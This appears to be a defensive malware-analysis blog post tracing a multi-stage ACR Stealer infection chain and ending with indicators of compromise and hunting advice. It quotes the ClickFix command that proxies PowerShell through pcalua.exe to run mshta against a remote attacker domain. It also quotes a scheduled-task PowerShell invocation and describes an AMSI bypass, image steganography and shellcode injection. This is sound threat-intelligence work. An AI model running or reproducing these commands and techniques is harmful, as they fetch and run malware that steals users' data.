Last Updated: 2026-07-29T21:28:50Z
What’s Happening
Earlier this month, Microsoft reported on ACR Stealer, a new campaign leveraging both Steganography and Etherhiding techniques for delivery.
Yesterday, I caught myself a sample. Mine doesn’t have Etherhiding, but the rest makes for a fun exploration anyhow. Let’s dive in.
Recommended Musical Accompaniment
“Arc of a Diver,” by Steve Wynnwood.
Disclaimer: A LLM assisted with deobfuscation/decryption of later stages.
Stage 1: Initial Access via ClickFix
While the infected site remains an open question, we do know the infected system ran the Windows Run dialog with the following command:
"C:\windows\system32\pcalua.exe" -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team[.]com/6272' -Wi Hi"pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team[.]com/6272' -Wi Hi"pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s
Right off the bat we have pcalua.exe executable as the proxy for PowerShell. The Program Compatibility Assistant is supposed when Windows detects there’s a compatibility issue with the executable. This will basically never be the case in modern systems. Its execution is highly likely to be an indicator.
The rest is obvious evasion behavior. saps is the more-obscure PowerShell alias for Start-Process, and then of course we have caret interruption with mshta.exe, pulling a .hta file from fine-work-team[.]com/6272. Here’s where things get weird.
Stage 2: Obfuscated Loader
The 6272 file downloaded from fine-work-team[.]com is, at first glance, a real-deal .mp3 file. You can even listen to it! But for a tiny squirk at 1:23, you might not notice anything wrong with it.
Opening the file directly though, you’ll find:
Ah yeah. That’s VBScript. See, mshta.exe and the browser it pops doesn’t care about extraneous bytes around the HTML, so long as there is valid HTML. And embedded VBScript, naturally.
The VBScript is heavily obfuscated, but ultimately creates a Scheduled Task called serviceyib with a task action of POWerSHEll & (gi C:\W*\S*4\W*\v*\p*ell.exe) -EncodedCommand <base64>.
What does the task do? On to Stage 3.
Stage 3: More Encoded PowerShell
This stage collects system information to presumably be sent ater. It also performs an AMSI bypass, which it decodes from a custom RC4 decryption routine. Having bypassed AMSI, it proceeds pull the next stage from hxxps://gpurq.gravityzone[.]army/019f2a71-8c43-7b95-a6d2-3e8471f9c520 and launch it, sending the contents of the download as stdin.
Stage 4: Image Stego
Doesn’t this seem like a little much for an infostealer? Anyway, here the PowerShell from the last stage contains a URL to hxxps://i.ibb.co/Q7yqNJpr/init-block[.]jpg', which just looks like noise.
But the PowerShell does something pretty clever. It takes the 5408x5408-pixel image and chunks it into 8x8 blocks, taking the average grayscale value of each block. The result is a byte array (reversed) that is flipped and XORed with an embedded key, then GZip-decompressed. The results is, yes, more PowerShell.
Stage 5: A Shellcode Loader
This chunk of PS is a straightforward loader/injector that performs reflective process injection of shellcode that itself takes a compressed PE and loads that as the final payload.
Stage 6: The Final Payload
This is, mercifully, a known entity. Of course, the executable never hits the filesystem, but it’s definitely ACR Stealer masquerading as WPA.exe per its .rsrc information.
The amount of anti-analysis in this thing is something else for a stealer. There are no static imports. Instead it walks the PEB and hashes export names. It performs direct syscalls and avoids ntdll and kernel32, evading EDR.
I only did static analysis, but public reports of the same artifact tell us that the eventual exfiltration destination is hxxps://app-api.lensstory[.]cc/.
Final Analysis
This is one of the most elaborate obfuscation regimens I’ve seen for infostealers. But indeed, only the last part of the chain is the infostealer, suggesting that this loading mechanism could be used for other types of payloads as well. We know better than to relegated ClickFix initial access to the realm of simple cybercrime. On the other hand, this could be an indication that AI-assisted development means that complex obfuscation like this is within reach of more threat actors.
Actions
Review the ACR Stealer site and this report for relevant IOCs, and add them to blocking/hunt lists as appropriate.
I strongly recommend hunting for pcalua.exe execution in your environment. If it is low-prevalence, consider alerting on its execution.
WPA.exe, given the masquerading, should also be alerted outside its proper location.
Indicators
| Value | Type | Description |
|---|---|---|
fine-work-team[.]com |
Domain | Stage 1 loader destination |
gpurq.gravityzone[.]army |
Domain | Stage 2 C2 domain |
hxxps://gpurq.gravityzone[.]army/019f2a71-8c43-7b95-a6d2-3e8471f9c520 |
URL | Stage 2 C2 URL |
019f2a71-8c43-7b95-a6d2-3e8471f9c520 |
UUID | Stage 2 beacon ID / C2 resource path. |
i.ibb.co |
Domain | Stage 3 image hosting CDN |
https://i.ibb.co/Q7yqNJpr/init-block.jpg |
URL | Stage 3 steganographic payload image |
init-block.jpg |
Filename | Stage 3 payload filename as fetched |
serviceyib |
Scheduled Task name | Persistence task registered via Schedule.Service |
POWerSHEll & (gi C:\W*\S*4\W*\v*\p*ell.exe) -EncodedCommand |
Command line | Stage-2 wildcard-glob PowerShell invocation |
b25ad01d164b09566c8103036305488c |
MD5 | Stage 6 final PE |
0ae3e511624ae31b1b87ebb1019f90a41eb5e68001dca34d8f0598eda8f9ffae |
SHA-256 | Stage-6 final PE |
WPA.exe |
PE impersonation | Stage 6 masquerades as Windows Performance Analyzer. Alert on unsigned WPA.exe from untrusted locations |
Notes
I will again note that I used an LLM (GLM 5.2, to be precise) to assist with debofuscation and decryption. I analyzed each stage directly afterwards.
As much as I despite what LLMs are doing to us, this particular use case is obviously valuable. And if, as I suspect, the baddies are using them to further complicate analysis, I don’t very much like the idea of having my hands tied.